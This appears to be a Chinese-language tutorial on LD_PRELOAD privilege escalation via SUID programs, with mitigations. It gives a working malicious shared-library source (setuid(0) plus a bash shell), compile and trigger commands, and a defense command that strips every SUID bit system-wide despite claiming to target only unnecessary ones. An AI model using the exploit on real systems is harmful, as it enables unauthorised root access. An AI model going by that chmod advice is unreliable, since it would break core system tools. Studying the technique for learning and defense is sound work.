聲明:本文所有操作需在授權環境下進行,嚴禁非法使用!
0x01 什么是 LD_PRELOAD?
LD_PRELOAD
是 Linux 系統中一個特殊的環境變量,它允許用戶在程序啟動時優先加載自定義的動態鏈接庫(.so 文件),覆蓋系統默認的庫函數。這種機制原本用于調試或性能優化,但配置不當可能引發安全問題。
0x02 漏洞原理
關鍵條件
-
目標程序具有 SUID 權限 SUID(Set User ID)權限的程序在運行時,會以文件所有者的身份執行(例如 root)。 查看 SUID 程序:
-
?find / -perm -4000 2>/dev/null
-
程序未屏蔽 LD_PRELOAD 如果高權限程序未過濾此環境變量,攻擊者可以劫持其加載的庫函數。
0x03 攻擊演示(實驗環境)
步驟 1:編寫惡意動態庫
創建 evil.c
文件,內容如下:
?#include <stdio.h>#include <stdlib.h>#include <unistd.h>?// 劫持程序初始化時的函數void _init() {setuid(0); ? ? ? ? // 提權到 rootsetgid(0);system("/bin/bash");// 啟動一個 shell}
步驟 2:編譯為共享庫
?gcc -shared -fPIC -nostartfiles -o evil.so evil.c
步驟 3:觸發漏洞
假設發現 /usr/bin/vulnerable_program
存在漏洞:
?export LD_PRELOAD=/path/to/evil.so # 設置環境變量/usr/bin/vulnerable_program ? ? ? # 運行 SUID 程序
若成功,你將獲得一個 root 權限的 bash shell。
0x04 為什么現代系統難以復現?
-
安全機制升級 主流 Linux 發行版(如 Ubuntu 20.04+、CentOS 8+)默認在 SUID 程序中忽略
LD_PRELOAD
等敏感環境變量。 -
配置防護 通過
sudo
的env_reset
選項或 SELinux/AppArmor 可進一步限制環境變量。
0x05 防御措施
給系統管理員的建議
-
定期更新系統
?sudo apt update && sudo apt upgrade -y ?# Debian/Ubuntusudo yum update -y ? ? ? ? ? ? ? ? ? ? # CentOS/RHEL
限制 SUID 程序
?bash# 查找并刪除不必要的 SUID 權限find / -perm -4000 -exec chmod u-s {} \;
啟用安全模塊 使用 SELinux 或 AppArmor 限制程序行為:
-
?sudo apt install apparmor-utils ?# Ubuntusudo aa-enforce /path/to/profile
0x06 總結
-
漏洞本質:利用環境變量劫持高權限程序的動態庫加載過程。
-
現實意義:更多用于理解 Linux 權限機制和歷史漏洞,實際滲透中需結合其他漏洞使用。
-
道德警示:此技術僅限授權測試或學習使用,非法入侵需承擔法律責任!